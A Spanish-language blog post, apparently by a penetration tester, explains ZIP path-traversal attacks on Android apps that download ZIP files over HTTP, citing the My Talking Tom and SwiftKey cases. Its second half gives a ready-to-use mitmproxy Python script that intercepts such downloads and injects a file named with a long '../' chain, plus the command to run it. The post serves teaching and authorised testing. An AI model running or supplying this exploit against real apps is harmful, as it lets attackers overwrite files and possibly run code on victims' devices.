En publicaciones anteriores vimos por qué las vulnerabilidades pueden provocar grandes dolores de cabeza a usuarios y corporaciones, poniendo en peligro los datos que almacenan sus dispositivos móviles. Hoy veremos cómo es posible explotar una vulnerabilidad de directory traversal y qué consecuencias podría tener en un dispositivo.

¿Qué es directory traversal?

Se conoce por directory traversal o path traversal a una vulnerabilidad que permite acceder a un directorio padre de aquel en el cual se está trabajando. Dicho de otro modo, mediante la explotación de esta vulnerabilidad un atacante puede escribir archivos o acceder a directorios superiores sobre los cuales no debiese tener control.

Una manera en que es posible explotar esta vulnerabilidad es mediante la extracción de archivos ZIP con contenido malicioso. Supongamos un escenario en donde una app peticiona vía HTTP un archivo ZIP. Un atacante, mediante un ataque MITM, podría interceptar la respuesta del servidor e inyectar en el ZIP un archivo malicioso con el nombre “../nombre_archivo”.

De este modo, si no se toman los controles necesarios, el atacante lograría escribir el archivo un directorio más arriba en la jerarquía del sistema de archivos. Según la cantidad de veces que se repita la cadena “../”, podrá ascender más cerca de la raíz del sistema.

Aunque plataformas como Linux han corregido este defecto en la funcionalidad de sus librerías ZIP, en Android es aún posible explotarla. Claro que el esquema de permisos para las aplicaciones restringe las carpetas sobre las que se puede tener acceso, pero aun así resulta interesante conocer este comportamiento, que según las propiedades de la aplicación objetivo podrá ser más o menos relevante.

Por ejemplo, tomemos el mismo ejemplo de Ryan Welton en Black Hat Londres: una versión vulnerable de My Talking Tom, el gato más famoso en la historia de RCE. Al inyectar archivos maliciosos en los ZIP descargados por la aplicación, podemos verlos luego en el almacenamiento interno de la aplicación.

Aún más, al extraer los archivos, las librerías ZIP sobrescriben cualquier otro archivo que ya exista en la carpeta destino. Así, un archivo que antes tenía este contenido…

… luego de la explotación se verá como se muestra en la siguiente imagen:

Imaginemos lo que podría llegar a suceder si se sustituyen, por ejemplo, archivos ejecutables que la aplicación acceda dinámicamente desde almacenamiento interno.

Más sobre la inyección de ZIP en HTTP puesta en práctica

Tal vez se pregunten por qué estoy escribiendo sobre este tema. Recientemente, durante un pentesting móvil me encontré con una aplicación para Android que utilizaba HTTP para descargar archivos ZIP. Entonces, recordando el caso de la vulnerabilidad de SwiftKey y My Talking Tom, recurrí al PoC disponible en Github para descargar el script que me permitiría inyectar contenido en los archivos ZIP descargados y ver así qué tan lejos podía llegar.

Infortunadamente, me encontré con muchos inconvenientes al correr su código. Aunque las versiones 0.17 y 0.18 de mitmproxy que tenía instaladas no arrojaban ningún error al ejecutarlo, y a pesar de haber probado infinidad de modificaciones, no obtenía la funcionalidad deseada. Aún no puedo confirmar si lo que fallaba era el script, la herramienta, la incompatibilidad de versiones o alguna de las librerías en mi VM con Kali 2.0.

Finalmente, lo que solucionó el problema fue descargar la versión portable de mitmproxy 2.0.1 y realizar los cambios necesarios al script. A continuación les dejo la versión final de este, listo para usar con Python 3.5. No olviden modificar las rutas y nombres de archivos.

[python]
from mitmproxy import ctx, flow, proxy
import os
import tempfile
import zipfile

def start():
global archivo
with open('archivo_a_inyectar', 'rb') as f:
archivo = f.read()
ctx.log.error("start")

def response(flow):
if flow.response.content[0:2].decode("utf-8") == "PK":
ctx.log.error("Found ZIP")
f = tempfile.SpooledTemporaryFile()
f.write(flow.response.content)
injectIntoZip(f, "../../../../../../../../../../../../../../../../../../../../../../ruta_deseada/nombre_archivo", archivo)
f.seek(0)
flow.response.content = f.read()
f.close()

def injectIntoZip(zipFile, zipEntryName, zipEntryData):
zf = zipfile.ZipFile(zipFile, "a")
info = zipfile.ZipInfo(zipEntryName)
info.external_attr = 660 << 16
zf.writestr(info, zipEntryData)
ctx.log.error("Zip injected")
zf.close()
[/python]

Luego, para cargar el script en mitmproxy usamos un comando similar al siguiente:

./mitmproxy --host -T -p 8080 -s /root/android-exploit/zip_injection.py

Recuerda que este script sirve únicamente a propósitos de pentesting (aprobado por el desarrollador, claro) o meramente educativos.

¡Es todo por hoy, amigos!